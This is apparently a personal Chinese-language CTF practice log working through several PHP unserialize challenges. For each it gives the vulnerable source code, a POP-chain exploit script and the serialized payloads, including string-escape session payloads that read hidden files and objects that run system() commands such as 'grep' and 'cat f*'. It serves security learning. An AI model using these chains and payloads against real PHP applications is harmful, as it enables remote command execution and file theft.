7.13刷题

[NewStarCTF 公开赛赛道]UnserializeOne

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;

public function __destruct()#12当一个对象被销毁时,__destruct() 方法会被调用
{
echo "Welcome to NewStarCTF, ".$this->name;#11__toString() 方法会被自动调用
}

public function __isset($var)#4如何调用__isset,当对不可访问属性(private,protected或者不存在)使用isset()或empty(),isset()会被调用
{
($this->func)();#3 这里可以给func赋值一个实例化的对象,然后调用__invoke
}
}

class Sec{
private $obj;
private $var;

public function __toString()#10当一个对象被当成一个字符串使用时,__toString() 方法会被自动调用
{
$this->obj->check($this->var);#9调用check方法,给obj赋值Easy对象
return "CTFers";
}

public function __invoke()#2想办法执行__invoke,把对象当做函数用
{
echo file_get_contents('/flag'); #1
}
}

class Easy{
public $cla;

public function __call($fun, $var)#8当调用一个不可访问方法时,__call() 会被调用
{
$this->cla = clone $var[0];#7调用clone关键字时,会调用__clone()方法
}
}

class eeee{
public $obj;

public function __clone()#6当使用clone关键字完成拷贝一个对象后,新对象会自动调用定义的魔术方法__clone()
{
if(isset($this->obj->cmd)){#5实例化$obj为一个Start对象
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
1
2
3
4
5
6
7
正向分析
1.创建一个Start对象
2.给name赋值Sec对象
3.Sec对象的obj属性赋值为Easy对象
4.给Easy对象的var属性赋值eeee对象 !!!clone调用把括号里的改成有__clone对象
5.eeee对象的obj属性赋值Start对象
6.给start对象的func属性赋值Sec对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class Start{
public $name;
var $func; #!!!!!!!!!!!!!!!!!记得改回protected


}

class Sec{
var $obj; #!!!!!!!!!!!!!!!!!!!!!!!!!!!!记得改回去private
var $var; #!!!!!!!!!!!!!!!!!!!!!!!!!!!!记得改回去private


}

class Easy{
public $cla;


}

class eeee{
public $obj;


}

$res = new Start;
$res->name = new Sec;//第一条链
$res->name->obj = new Easy;//第二条链
$res->name->var=new eeee;//第三条链
$res->name->var->obj=new Start;//第四条链
$res->name->var->obj->func=new Sec;//第五条链
echo serialize($res);



O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}

or

O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:8:"%00Sec%00obj";O:4:"Easy":1:{s:3:"cla";N;}s:8:"%00Sec%00var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:7:"%00*%00func";N;}

居然可以不用补上%00%00,长知识了

构造的时候最好按照这种链的方式构造,出现引用好像不太好使

[安洵杯 2019]easy_serialize_php 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

phpinfo可以拿到文件名d0g3_f1ag.php

通过post上传session可以进行反序列化

中间的filter函数过滤了’php’,’flag’,’php5’,’php4’,’fl1g’,替换为无字符

可以利用字符减少型绕过

a:2:{s:4:"user";s:23:"flagflagflagflagflagphp";s:8:"function";s:41:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}

吃掉 “;s:8:”function”;s:3:” 22个
flagflagflagflagphpphp 22个

可以执行s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";创建一个img元素,赋值为d0g3_f1ag.php的base64编码,记得新创建一个数组元素保证是数组

1
2
3
4
<?php
$_SESSION["user"] = 'flagflagflagflagflagphp';
$_SESSION['function'] = '";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}';//数组
echo serialize($_SESSION);

GET ?f=show_image

post提交 注意不加$,单引号,分号,空格!_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}

查看源代码

1
2
3
4
5
6
7
8
<?php

$flag = 'flag in /d0g3_fllllllag';

?>
重新构造数组
///d0g3_fllllllag---base64-->L2QwZzNfZmxsbGxsbGFn
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"1";s:1:"2";}

拿到flag

还可以使用键名逃逸

1
2
3
4
5
6
7
8
9
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}


过滤前
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤后
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
下面的步骤和值替换一样
这里的键名变为";s:48: 实现了逃逸

[NewStarCTF 2023 公开赛道]Unserialize?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}

@unserialize($_POST['unser']);
?>
1
2
3
4
5
6
7
<?php
class evil
{
private $cmd='grep fl /th1s_1s_fffflllll4444aaaggggg';
}
echo urlencode(serialize(new evil));

用grep读取

[NewStarCTF 公开赛赛道]UnserializeThree

upload/0412c29576c708cf0155e8de242169b1.jpg

phar反序列化

配合class.php

值得注意的是去掉前面#的影响

1
2
3
4
$o=new Evil();//别忘了改类名
$o->cmd=urldecode("%0d")."system('cat f*');";
或者
$o->cmd="\r"."system('cat f*');";

主站ez_pop

访问www.zip下载源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
//hint is in hint.php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';

public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}

public function _sayhello(){
echo $this->name; #5 $name=new Info()
return 'ok';
}

public function __wakeup(){ #6创建Start对象
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}

class Info
{
private $phonenumber=123123;
public $promise='I do';

public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}

public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];#4 $file['filename']=new Room()
}
}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';

public function __get($name){
$function = $this->a;
return $function();#3 $a=new Room()
}

public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));#1
echo $hint;
return ;
}

public function __invoke(){
$content = $this->Get_hint($this->filename);#2$filename=/etc/hint
echo $content;
}
}

if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}

?>

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Start
{
public $name='guest';

}

class Info
{

}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}

$res=new Start();
$res->name=new Info();
$res->name->file=['filename'=>new Room()];
$res->name->file['filename']->a=new Room();

echo serialize($res);

?>

payload:O:5:"Start":1:{s:4:"name";O:4:"Info":1:{s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}}

hint没啥用